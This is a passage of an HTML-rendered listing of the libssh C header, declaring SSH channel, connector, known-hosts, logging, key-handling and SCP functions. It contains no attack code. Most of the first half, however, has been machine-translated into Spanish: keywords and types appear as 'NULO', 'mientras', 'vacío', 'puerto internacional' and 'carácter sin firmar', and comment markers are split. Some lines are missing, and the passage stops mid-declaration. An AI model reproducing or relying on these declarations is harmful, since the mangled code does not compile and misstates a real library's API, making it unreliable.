style='color:#00c4c4; '>( canal ssh_channel ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>483  contador ssh_counter );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>484  LIBSSH_API int ssh_channel_write </span> <span style='color:#00c4c4; '>( canal ssh_channel , const void * datos, uint32_t len);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>485  LIBSSH_API int ssh_channel_write_stderr </span> <span style='color:#00c4c4; '>( canal ssh_channel ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>486   const void * datos,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>487   uint32_t len);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>488  LIBSSH_API uint32_t ssh_channel_window_size </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>489 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>490  LIBSSH_API char * ssh_basename </span> <span style='color:#00c4c4; '>( const char * ruta);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>491  LIBSSH_API void ssh_clean_pubkey_hash (</span> <span style='color:#00c4c4; '>&#xa0;carácter sin firmar ** hash);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>492  LIBSSH_API int ssh_connect ( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>493 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>494  LIBSSH_API ssh_connector ssh_connector_new </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>495  LIBSSH_API void ssh_connector_free </span> <span style='color:#00c4c4; '>( conector ssh_connector );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>496  LIBSSH_API int ssh_connector_set_in_channel </span> <span style='color:#00c4c4; '>( conector ssh_connector ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>497  canal ssh_channel ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>498   enum ssh_connector_flags_e banderas);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>499  LIBSSH_API int ssh_connector_set_out_channel </span> <span style='color:#00c4c4; '>( conector ssh_connector ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>500  canal ssh_channel ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>501   enum ssh_connector_flags_e flags);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>502  LIBSSH_API void ssh_connector_set_in_fd </span> <span style='color:#00c4c4; '>( ssh_connector conector, fd socket_t);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>503  LIBSSH_API vacío ssh_connector_set_out_fd </span> <span style='color:#00c4c4; '>( ssh_connector conector, fd socket_t);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>504 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>505  LIBSSH_API const char * ssh_copyright ( void );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>506  LIBSSH_API void ssh_disconnect </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>507  LIBSSH_API char * ssh_dirname ( const char * ruta);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>508  LIBSSH_API int ssh_finalize ( void );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>509 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>510  / * REENVÍO DE PUERTO INVERSO * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>511  LIBSSH_API ssh_channel ssh_channel_accept_forward </span> <span style='color:#00c4c4; '>( sesión ssh_session ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>512   int timeout_ms,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>513   int * puerto_destino);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>514  LIBSSH_API int ssh_channel_cancel_forward </span> <span style='color:#00c4c4; '>( sesión ssh_session ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>515   const char * dirección,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>516   int puerto);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>517  LIBSSH_API int ssh_channel_listen_forward </span> <span style='color:#00c4c4; '>( sesión ssh_session ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>518   const char * dirección,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>519  puerto internacional ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>520   int * puerto_delimitado);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>521 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>522  LIBSSH_API void ssh_free ( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>523  LIBSSH_API const char * ssh_get_disconnect_message </span> <span style='color:#00c4c4; '>&#xa0;( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>524  LIBSSH_API const char * ssh_get_error </span> <span style='color:#00c4c4; '>( void * error);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>525  LIBSSH_API int ssh_get_error_code </span> <span style='color:#00c4c4; '>( void * error);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>526  LIBSSH_API socket_t ssh_get_fd </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>527  LIBSSH_API char * ssh_get_hexa </span> <span style='color:#00c4c4; '>( const unsigned char * what, size_t len);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>528  LIBSSH_API char * ssh_get_issue_banner </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>529  LIBSSH_API int ssh_get_openssh_version </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>530 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>531  LIBSSH_API int ssh_get_server_publickey </span> <span style='color:#00c4c4; '>( ssh_session sesión, clave ssh tecla *);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>532 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>533  enum ssh_publickey_hash_type {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>534   SSH_PUBLICKEY_HASH_SHA1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>535   SSH_PUBLICKEY_HASH_MD5,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>536   SSH_PUBLICKEY_HASH_SHA256</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>537  };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>538  LIBSSH_API int ssh_get_publickey_hash </span> <span style='color:#00c4c4; '>( clave const ssh_key ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>539   enum ssh_publickey_hash_type type,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>540   char ** hash sin firmar ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>541   size_t * HLEN);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>542 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>543  / * FUNCIONES ANULADAS * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>544  SSH_DEPRECATED LIBSSH_API int ssh_get_pubkey_hash </span> <span style='color:#00c4c4; '>( sesión ssh_session , carácter sin firmar ** hash);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>545  SSH_DEPRECATED LIBSSH_API ssh_channel </span> <span style='color:#00c4c4; '>ssh_forward_accept ( sesión ssh_session , int timeout_ms);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>546  SSH_DEPRECATED LIBSSH_API int ssh_forward_cancel </span> <span style='color:#00c4c4; '>( sesión ssh_session , const char * dirección, int puerto);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>547  SSH_DEPRECATED LIBSSH_API int ssh_forward_listen </span> <span style='color:#00c4c4; '>( sesión ssh_session , const char * dirección, int puerto, int * bound_port);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>548  SSH_DEPRECATED LIBSSH_API int ssh_get_publickey </span> <span style='color:#00c4c4; '>( ssh_session sesión, clave ssh tecla *);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>549  SSH_DEPRECATED LIBSSH_API int ssh_write_knownhost </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>550  SSH_DEPRECATED LIBSSH_API char * ssh_dump_knownhost </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>551  SSH_DEPRECATED LIBSSH_API int ssh_is_server_known </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>552  SSH_DEPRECATED LIBSSH_API void ssh_print_hexa ( const char * descr, const unsigned char * what, size_t len);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>553 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>554 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>555 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>556  LIBSSH_API int ssh_get_random </span> <span style='color:#00c4c4; '>( void * donde, int len, int fuerte);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>557  LIBSSH_API int ssh_get_version </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>558  LIBSSH_API int ssh_get_status </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>559  LIBSSH_API int ssh_get_poll_flags </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>560  LIBSSH_API int ssh_init ( vacío );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>561  LIBSSH_API int ssh_is_blocking </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>562  LIBSSH_API int ssh_is_connected </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>563 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>564  / * HOSTS CONOCIDOS * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>565  LIBSSH_API void ssh_knownhosts_entry_free </span> <span style='color:#00c4c4; '>( struct ssh_knownhosts_entry * entrada);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>566  #define SSH_KNOWNHOSTS_ENTRY_FREE (e) do {\</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>567   si ((e)! = NULO) {\</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>568   ssh_knownhosts_entry_free (e); \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>569   e = NULO; \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>570   } \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>571  } mientras (0)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>572 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>573  LIBSSH_API int ssh_known_hosts_parse_line </span> <span style='color:#00c4c4; '>( const char * host,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>574   const char * línea,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>575  entrada struct ssh_knownhosts_entry **);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>576  LIBSSH_API enumeración ssh_known_hosts_e </span> <span style='color:#00c4c4; '>ssh_session_has_known_hosts_entry ( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>577 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>578  LIBSSH_API int ssh_session_export_known_hosts_entry </span> <span style='color:#00c4c4; '>( sesión ssh_session ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>579   Char ** pentry_string);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>580  LIBSSH_API int ssh_session_update_known_hosts </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>581 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>582  LIBSSH_API enumeración ssh_known_hosts_e</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>583  ssh_session_get_known_hosts_entry </span> <span style='color:#00c4c4; '>( sesión ssh_session ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>584   struct ssh_knownhosts_entry ** pentry);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>585  LIBSSH_API enumeración ssh_known_hosts_e </span> <span style='color:#00c4c4; '>ssh_session_is_known_server ( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>586 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>587  / * REGISTRO * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>588  LIBSSH_API int ssh_set_log_level ( nivel int );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>589  LIBSSH_API int ssh_get_log_level ( void );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>590  LIBSSH_API void * ssh_get_log_userdata ( void );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>591  LIBSSH_API int ssh_set_log_userdata ( void * datos);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>592  LIBSSH_API void _ssh_log ( int verbosidad,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>593   const char * función ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>594   const char * formato, ...) PRINTF_ATTRIBUTE (3, 4);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>595 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>596  / * legado * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>597  SSH_DEPRECATED LIBSSH_API void ssh_log </span> <span style='color:#00c4c4; '>( sesión ssh_session ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>598   int prioridad,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>599   const char * formato, ...) PRINTF_ATTRIBUTE (3, 4);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>600 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>601  LIBSSH_API ssh_channel ssh_message_channel_request_open_reply_accept </span> <span style='color:#00c4c4; '>( ssh_message msg);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>602  LIBSSH_API int ssh_message_channel_request_reply_success </span> <span style='color:#00c4c4; '>( ssh_message msg);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>603  #define SSH_MESSAGE_FREE (x) \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>604   hacer {if ((x)! = NULL) {ssh_message_free (x); (x) = NULO; }} mientras (0)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>605  LIBSSH_API void ssh_message_free ( ssh_message msg);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>606  LIBSSH_API ssh_message ssh_message_get ( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>607  LIBSSH_API int ssh_message_subtype ( ssh_message msg);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>608  LIBSSH_API int ssh_message_type ( ssh_message msg);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>609  LIBSSH_API int ssh_mkdir ( const char * nombre de ruta, modo_t);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>610 LIBSSH_API ssh_session ssh_new(void);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>611 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>612 LIBSSH_API int ssh_options_copy(ssh_session src, ssh_session *dest);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>613 LIBSSH_API int ssh_options_getopt(ssh_session session, int *argcptr, char **argv);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>614 LIBSSH_API int ssh_options_parse_config(ssh_session session, const char *filename);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>615 LIBSSH_API int ssh_options_set(ssh_session session, enum ssh_options_e type,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>616  const void *value);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>617 LIBSSH_API int ssh_options_get(ssh_session session, enum ssh_options_e type,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>618  char **value);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>619 LIBSSH_API int ssh_options_get_port(ssh_session session, unsigned int * port_target);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>620 LIBSSH_API int ssh_pcap_file_close(ssh_pcap_file pcap);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>621 LIBSSH_API void ssh_pcap_file_free(ssh_pcap_file pcap);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>622 LIBSSH_API ssh_pcap_file ssh_pcap_file_new(void);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>623 LIBSSH_API int ssh_pcap_file_open(ssh_pcap_file pcap, const char *filename);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>624 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>638 typedef int (*ssh_auth_callback) (const char *prompt, char *buf, size_t len,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>639  int echo, int verify, void *userdata);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>640 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>641 LIBSSH_API ssh_key ssh_key_new(void);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>642 #define SSH_KEY_FREE(x) \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>643  do { if ((x) != NULL) { ssh_key_free(x); x = NULL; } } while(0)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>644 LIBSSH_API void ssh_key_free (ssh_key key);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>645 LIBSSH_API enum ssh_keytypes_e ssh_key_type(const ssh_key key);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>646 LIBSSH_API const char *ssh_key_type_to_char(enum ssh_keytypes_e type);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>647 LIBSSH_API enum ssh_keytypes_e ssh_key_type_from_name(const char *name);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>648 LIBSSH_API int ssh_key_is_public(const ssh_key k);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>649 LIBSSH_API int ssh_key_is_private(const ssh_key k);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>650 LIBSSH_API int ssh_key_cmp(const ssh_key k1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>651  const ssh_key k2,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>652  enum ssh_keycmp_e what);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>653 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>654 LIBSSH_API int ssh_pki_generate(enum ssh_keytypes_e type, int parameter,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>655  ssh_key *pkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>656 LIBSSH_API int ssh_pki_import_privkey_base64(const char *b64_key,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>657  const char *passphrase,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>658  ssh_auth_callback auth_fn,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>659  void *auth_data,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>660  ssh_key *pkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>661 LIBSSH_API int ssh_pki_export_privkey_base64(const ssh_key privkey,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>662  const char *passphrase,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>663  ssh_auth_callback auth_fn,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>664  void *auth_data,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>665  char **b64_key);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>666 LIBSSH_API int ssh_pki_import_privkey_file(const char *filename,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>667  const char *passphrase,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>668  ssh_auth_callback auth_fn,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>669  void *auth_data,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>670  ssh_key *pkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>671 LIBSSH_API int ssh_pki_export_privkey_file(const ssh_key privkey,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>672  const char *passphrase,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>673  ssh_auth_callback auth_fn,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>674  void *auth_data,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>675  const char *filename);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>676 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>677 LIBSSH_API int ssh_pki_copy_cert_to_privkey(const ssh_key cert_key,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>678  ssh_key privkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>679 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>680 LIBSSH_API int ssh_pki_import_pubkey_base64(const char *b64_key,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>681  enum ssh_keytypes_e type,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>682  ssh_key *pkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>683 LIBSSH_API int ssh_pki_import_pubkey_file(const char *filename,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>684  ssh_key *pkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>685 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>686 LIBSSH_API int ssh_pki_import_cert_base64(const char *b64_cert,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>687  enum ssh_keytypes_e type,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>688  ssh_key *pkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>689 LIBSSH_API int ssh_pki_import_cert_file(const char *filename,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>690  ssh_key *pkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>691 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>692 LIBSSH_API int ssh_pki_export_privkey_to_pubkey(const ssh_key privkey,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>693  ssh_key *pkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>694 LIBSSH_API int ssh_pki_export_pubkey_base64(const ssh_key key,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>695  char **b64_key);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>696 LIBSSH_API int ssh_pki_export_pubkey_file(const ssh_key key,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>697  const char *filename);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>698 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>699 LIBSSH_API const char *ssh_pki_key_ecdsa_name(const ssh_key key);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>700 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>701 LIBSSH_API char *ssh_get_fingerprint_hash(enum ssh_publickey_hash_type type,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>702  unsigned char *hash,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>703  size_t len);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>704 LIBSSH_API void ssh_print_hash</span> <span style='color:#00c4c4; '>(enum ssh_publickey_hash_type type, unsigned char *hash, size_t len);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>705 LIBSSH_API int ssh_send_ignore (ssh_session session, const char *data);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>706 LIBSSH_API int ssh_send_debug (ssh_session session, const char *message, int always_display);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>707 LIBSSH_API void ssh_gssapi_set_creds(ssh_session session, const ssh_gssapi_creds creds);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>708 LIBSSH_API int ssh_scp_accept_request(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>709 LIBSSH_API int ssh_scp_close(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>710 LIBSSH_API int ssh_scp_deny_request(ssh_scp scp, const char *reason);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>711 LIBSSH_API void ssh_scp_free(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>712 LIBSSH_API int ssh_scp_init(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>713 LIBSSH_API int ssh_scp_leave_directory(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>714 LIBSSH_API ssh_scp ssh_scp_new(ssh_session session, int mode, const char *location);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>715 LIBSSH_API int ssh_scp_pull_request(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>716 LIBSSH_API int ssh_scp_push_directory(ssh_scp scp, const char *dirname, int mode);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>717 LIBSSH_API int ssh_scp_push_file(ssh_scp scp, const char *filename, size_t size, int perms);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>718 LIBSSH_API int ssh_scp_push_file64(ssh_scp scp, const char *filename, uint64_t size, int perms);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>719 LIBSSH_API int ssh_scp_read(ssh_scp scp, void *buffer, size_t size);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>720 LIBSSH_API const char *ssh_scp_request_get_filename(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>721 LIBSSH_API int ssh_scp_request_get_permissions(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>722 LIBSSH_API size_t ssh_scp_request_get_size(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>723 LIBSSH_API uint64_t ssh_scp_request_get_size64(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>724 LIBSSH_API const char *ssh_scp_request_get_warning(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>725 LIBSSH_API int ssh_scp_write(ssh_scp scp, const void *buffer, size_t len);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>726 LIBSSH_API int ssh_select(ssh_channel *channels, ssh_channel *outchannels, socket_t maxfd,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>727  fd_set *readfds, struct timeval *timeout);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>728 LIBSSH_API int ssh_service_request(ssh_session session, const char *service);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>729 LIBSSH_API int ssh_set_agent_channel(ssh_session session, ssh_channel channel);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>730 LIBSSH_API int ssh_set_agent_socket(ssh_session session, socket_t fd);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>731 LIBSSH_API void ssh_set_blocking(ssh_session session, int blocking);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>732 LIBSSH_API void 